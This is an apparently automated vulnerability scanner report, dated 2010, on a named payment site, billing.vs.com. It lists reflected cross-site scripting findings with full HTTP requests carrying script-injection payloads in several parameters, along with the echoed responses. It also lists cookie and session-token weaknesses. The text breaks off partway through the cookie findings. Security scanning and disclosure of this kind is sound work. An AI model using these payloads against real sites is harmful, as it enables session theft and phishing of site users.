billing.vs.com, XSS, Cross Site Scripting, CWE-79, CAPEC-86

Cross Site Scripting in billing.vs.com | Vulnerability Crawler Report

Report generated by XSS.CX at Fri Dec 31 09:56:04 CST 2010.


Contents

Loading

1. Cross-site scripting (reflected)

1.1. https://billing.vs.com/payment/ [mp_code parameter]

1.2. https://billing.vs.com/payment/ [mp_code parameter]

1.3. https://billing.vs.com/payment/ [service parameter]

1.4. https://billing.vs.com/payment/ [sitekey parameter]

1.5. https://billing.vs.com/payment/ [sitekey parameter]

1.6. https://billing.vs.com/payment/ [username parameter]

1.7. https://billing.vs.com/payment/ [username parameter]

1.8. https://billing.vs.com/payment/index.php [sitekey parameter]

1.9. https://billing.vs.com/payment/index.php [sitekey parameter]

2. SSL cookie without secure flag set

2.1. https://billing.vs.com/payment/

2.2. https://billing.vs.com/payment/

2.3. https://billing.vs.com/payment/

2.4. https://billing.vs.com/payment/index.php

3. Session token in URL

3.1. https://billing.vs.com/payment/

3.2. https://billing.vs.com/payment/

3.3. https://billing.vs.com/payment/index.php

4. Cookie without HttpOnly flag set

4.1. https://billing.vs.com/payment/

4.2. https://billing.vs.com/payment/

4.3. https://billing.vs.com/payment/

4.4. https://billing.vs.com/payment/index.php

5. Password field with autocomplete enabled

5.1. https://billing.vs.com/payment/

5.2. https://billing.vs.com/payment/

5.3. https://billing.vs.com/payment/

5.4. https://billing.vs.com/payment/index.php

6. Cookie scoped to parent domain

6.1. https://billing.vs.com/payment/

6.2. https://billing.vs.com/payment/index.php

7. Cross-domain Referer leakage

7.1. https://billing.vs.com/payment/

7.2. https://billing.vs.com/payment/index.php



1. Cross-site scripting (reflected)  next
There are 9 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://billing.vs.com/payment/ [mp_code parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The value of the mp_code request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e9ab4"%3balert(1)//822178217d6 was submitted in the mp_code parameter. This input was echoed as e9ab4";alert(1)//822178217d6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /payment/?mp_code=cqiue9ab4"%3balert(1)//822178217d6&service=girls&source_code=default&sitekey=vivid&product_type=live&form_type=promo_2_min_live HTTP/1.1
Host: billing.vs.com
Connection: keep-alive
Referer: http://vividlive.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:06:04 GMT
Server: Apache
Set-Cookie: PHPSESSID=bpuqh7t38jptnsbcbrbn9u1fg7; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:06:04 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:06:04 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiue9ab4%22%3Balert%281%29%2F%2F822178217d6; expires=Sun, 30-Jan-2011 15:06:04 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:06:04 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:06:04 GMT; path=/; domain=.vs.com
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 29890


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...

       $('#addAccount').click(function(event) {
           
           window.location="/payment/?form_type=new_cc&a=add_cc&username=&params=&form_product=&use_new_tpls=1&sitekey=vivid&amp;service=girls&amp;mp_code=cqiue9ab4";alert(1)//822178217d6&amp;source_code=default&amp;product_type=live&amp;PHPSESSID=bpuqh7t38jptnsbcbrbn9u1fg7";
           
       });        
   
   });
   </script>
...[SNIP]...

1.2. https://billing.vs.com/payment/ [mp_code parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The value of the mp_code request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 69c58"><script>alert(1)</script>6e08a30da68 was submitted in the mp_code parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /payment/?mp_code=cqiu69c58"><script>alert(1)</script>6e08a30da68&service=girls&source_code=default&sitekey=vivid&product_type=live&form_type=promo_2_min_live HTTP/1.1
Host: billing.vs.com
Connection: keep-alive
Referer: http://vividlive.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:06:02 GMT
Server: Apache
Set-Cookie: PHPSESSID=qidtpi15hqhmcj86a942ar1co3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:06:02 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:06:02 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu69c58%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E6e08a30da68; expires=Sun, 30-Jan-2011 15:06:02 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:06:02 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:06:02 GMT; path=/; domain=.vs.com
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 29980


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...
<form id="payment_form" method="post" action="/payment/index.php?sitekey=vivid&amp;service=girls&amp;mp_code=cqiu69c58"><script>alert(1)</script>6e08a30da68&amp;source_code=default&amp;product_type=live&amp;PHPSESSID=qidtpi15hqhmcj86a942ar1co3" onsubmit="return disable_submit(this)">
...[SNIP]...

1.3. https://billing.vs.com/payment/ [service parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The value of the service request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec6e3"><a>2cb5912f92a was submitted in the service parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /payment/?mp_code=cqiu&service=girlsec6e3"><a>2cb5912f92a&source_code=default&sitekey=vivid&product_type=live&form_type=promo_2_min_live HTTP/1.1
Host: billing.vs.com
Connection: keep-alive
Referer: http://vividlive.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:06:11 GMT
Server: Apache
Set-Cookie: PHPSESSID=tgbgut8qosdkem41b85rfj6fp1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:06:11 GMT; path=/; domain=.vs.com
Set-Cookie: service=girlsec6e3%22%3E%3Ca%3E2cb5912f92a; expires=Sat, 31-Dec-2011 15:06:11 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:06:11 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:06:11 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:06:11 GMT; path=/; domain=.vs.com
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 29848


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...
<form id="payment_form" method="post" action="/payment/index.php?sitekey=vivid&amp;service=girlsec6e3"><a>2cb5912f92a&amp;mp_code=cqiu&amp;source_code=default&amp;product_type=live&amp;PHPSESSID=tgbgut8qosdkem41b85rfj6fp1" onsubmit="return disable_submit(this)">
...[SNIP]...

1.4. https://billing.vs.com/payment/ [sitekey parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The value of the sitekey request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d834f"><script>alert(1)</script>a0a61574aec was submitted in the sitekey parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /payment/?mp_code=cqiu&service=girls&source_code=default&sitekey=vividd834f"><script>alert(1)</script>a0a61574aec&product_type=live&form_type=promo_2_min_live HTTP/1.1
Host: billing.vs.com
Connection: keep-alive
Referer: http://vividlive.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:06:53 GMT
Server: Apache
Set-Cookie: PHPSESSID=ojvdn4dre6ao5obj8rafk9pdr3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vividd834f%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3Ea0a61574aec; expires=Fri, 07-Jan-2011 15:06:53 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:06:53 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:06:53 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:06:53 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:06:53 GMT; path=/; domain=.vs.com
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 30118


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/css/skins/vividd834f"><script>alert(1)</script>a0a61574aec/style.css" media="all" />
...[SNIP]...

1.5. https://billing.vs.com/payment/ [sitekey parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The value of the sitekey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 84923"%3balert(1)//ceeb77869f1 was submitted in the sitekey parameter. This input was echoed as 84923";alert(1)//ceeb77869f1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /payment/?mp_code=cqiu&service=girls&source_code=default&sitekey=vivid84923"%3balert(1)//ceeb77869f1&product_type=live&form_type=promo_2_min_live HTTP/1.1
Host: billing.vs.com
Connection: keep-alive
Referer: http://vividlive.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:06:54 GMT
Server: Apache
Set-Cookie: PHPSESSID=i83mm6qrc1m3lsibcri51j0tl4; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid84923%22%3Balert%281%29%2F%2Fceeb77869f1; expires=Fri, 07-Jan-2011 15:06:54 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:06:54 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:06:54 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:06:54 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:06:54 GMT; path=/; domain=.vs.com
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 29983


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...
   $(document).ready(function() {
   
       $('#addAccount').click(function(event) {
           
           window.location="/payment/?form_type=new_cc&a=add_cc&username=&params=&form_product=&use_new_tpls=1&sitekey=vivid84923";alert(1)//ceeb77869f1&amp;service=girls&amp;mp_code=cqiu&amp;source_code=default&amp;product_type=live&amp;PHPSESSID=i83mm6qrc1m3lsibcri51j0tl4";
           
       });        
   
   });
   </script>
...[SNIP]...

1.6. https://billing.vs.com/payment/ [username parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The value of the username request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 61fbd"%3balert(1)//1005d42847 was submitted in the username parameter. This input was echoed as 61fbd";alert(1)//1005d42847 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /payment/?form_type=new_cc&a=add_cc&username=61fbd"%3balert(1)//1005d42847&params=&form_product=&use_new_tpls=1&sitekey=vivid&service=girls&mp_code=cqiu&source_code=default&product_type=live&PHPSESSID=38aiuoljffah6m691595claoj2 HTTP/1.1
Host: billing.vs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: source_code=default; mp_code=cqiu; service=girls; PHPSESSID=38aiuoljffah6m691595claoj2; product_type=live; sitekey=vivid;

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:06:10 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:06:10 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:06:10 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:06:10 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:06:10 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:06:10 GMT; path=/; domain=.vs.com
Set-Cookie: use_new_tpls=1; expires=Fri, 07-Jan-2011 15:06:10 GMT; path=/; domain=.vs.com
Set-Cookie: pa_id=50587289; path=/payment/; domain=.billing.vs.com
Connection: close
Content-Type: text/html
Content-Length: 10161


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...
ipt language="javascript" type="text/javascript">
   $(document).ready(function() {
   
       $('#addAccount').click(function(event) {
           
           window.location="/payment/?form_type=new_cc&a=add_cc&username=61fbd";alert(1)//1005d42847&params=&form_product=&use_new_tpls=1&sitekey=vivid&amp;service=girls&amp;mp_code=cqiu&amp;source_code=default&amp;product_type=live&amp;use_new_tpls=1&amp;PHPSESSID=38aiuoljffah6m691595claoj2";
           

...[SNIP]...

1.7. https://billing.vs.com/payment/ [username parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The value of the username request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0049"><script>alert(1)</script>07a4711c2f8 was submitted in the username parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /payment/?form_type=new_cc&a=add_cc&username=e0049"><script>alert(1)</script>07a4711c2f8&params=&form_product=&use_new_tpls=1&sitekey=vivid&service=girls&mp_code=cqiu&source_code=default&product_type=live&PHPSESSID=38aiuoljffah6m691595claoj2 HTTP/1.1
Host: billing.vs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: source_code=default; mp_code=cqiu; service=girls; PHPSESSID=38aiuoljffah6m691595claoj2; product_type=live; sitekey=vivid;

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:06:09 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid; expires=Fri, 07-Jan-2011 15:06:09 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:06:09 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:06:09 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:06:09 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:06:09 GMT; path=/; domain=.vs.com
Set-Cookie: use_new_tpls=1; expires=Fri, 07-Jan-2011 15:06:09 GMT; path=/; domain=.vs.com
Set-Cookie: pa_id=50587285; path=/payment/; domain=.billing.vs.com
Connection: close
Content-Type: text/html
Content-Length: 10193


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...
<input type="text" id="username" name="ITEM[username]" size="15" maxlength="32" tabindex="1" value="e0049"><script>alert(1)</script>07a4711c2f8">
...[SNIP]...

1.8. https://billing.vs.com/payment/index.php [sitekey parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/index.php

Issue detail

The value of the sitekey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8f646"%3balert(1)//163e3a73c9f was submitted in the sitekey parameter. This input was echoed as 8f646";alert(1)//163e3a73c9f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /payment/index.php?sitekey=vivid8f646"%3balert(1)//163e3a73c9f&service=girls&mp_code=cqiu&source_code=default&product_type=live&PHPSESSID=38aiuoljffah6m691595claoj2 HTTP/1.1
Host: billing.vs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: source_code=default; mp_code=cqiu; service=girls; PHPSESSID=38aiuoljffah6m691595claoj2; product_type=live; sitekey=vivid;

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:06:08 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid8f646%22%3Balert%281%29%2F%2F163e3a73c9f; expires=Fri, 07-Jan-2011 15:06:08 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:06:08 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:06:08 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:06:08 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:06:08 GMT; path=/; domain=.vs.com
Set-Cookie: use_new_tpls=1; expires=Fri, 07-Jan-2011 15:06:08 GMT; path=/; domain=.vs.com
Connection: close
Content-Type: text/html
Content-Length: 30097


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...
   $(document).ready(function() {
   
       $('#addAccount').click(function(event) {
           
           window.location="/payment/?form_type=new_cc&a=add_cc&username=&params=&form_product=&use_new_tpls=1&sitekey=vivid8f646";alert(1)//163e3a73c9f&amp;service=girls&amp;mp_code=cqiu&amp;source_code=default&amp;product_type=live&amp;use_new_tpls=1&amp;PHPSESSID=38aiuoljffah6m691595claoj2";
           
       });        
   
   });
   </script>
...[SNIP]...

1.9. https://billing.vs.com/payment/index.php [sitekey parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://billing.vs.com
Path:   /payment/index.php

Issue detail

The value of the sitekey request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1a406"><script>alert(1)</script>805a5c6a4d3 was submitted in the sitekey parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /payment/index.php?sitekey=vivid1a406"><script>alert(1)</script>805a5c6a4d3&service=girls&mp_code=cqiu&source_code=default&product_type=live&PHPSESSID=38aiuoljffah6m691595claoj2 HTTP/1.1
Host: billing.vs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: source_code=default; mp_code=cqiu; service=girls; PHPSESSID=38aiuoljffah6m691595claoj2; product_type=live; sitekey=vivid;

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:06:07 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sitekey=vivid1a406%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E805a5c6a4d3; expires=Fri, 07-Jan-2011 15:06:07 GMT; path=/; domain=.vs.com
Set-Cookie: service=girls; expires=Sat, 31-Dec-2011 15:06:07 GMT; path=/; domain=.vs.com
Set-Cookie: mp_code=cqiu; expires=Sun, 30-Jan-2011 15:06:07 GMT; path=/; domain=.vs.com
Set-Cookie: source_code=default; expires=Fri, 07-Jan-2011 15:06:07 GMT; path=/; domain=.vs.com
Set-Cookie: product_type=live; expires=Fri, 07-Jan-2011 15:06:07 GMT; path=/; domain=.vs.com
Set-Cookie: use_new_tpls=1; expires=Fri, 07-Jan-2011 15:06:07 GMT; path=/; domain=.vs.com
Connection: close
Content-Type: text/html
Content-Length: 30232


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/css/skins/vivid1a406"><script>alert(1)</script>805a5c6a4d3/style.css" media="all" />
...[SNIP]...

2. SSL cookie without secure flag set  previous  next
There are 4 instances of this issue:

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.


2.1. https://billing.vs.com/payment/  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://billing.vs.com
Path:   /payment/

Issue detail

The following cookies were issued by the application and do not have the secure flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /payment/?mp_code=cqiu&service=girls&source_code=default&sitekey=vivid&product_type=live&form_type=promo_2_min_live HTTP/1.1
Host: billing.vs.com
Connection: keep-alive
Referer: http://vividlive.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 31 Dec 2010 15:05:19 GMT
Server: Apache
Set-Cookie: PHPSESSID=38aiuoljffah6m691595claoj2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
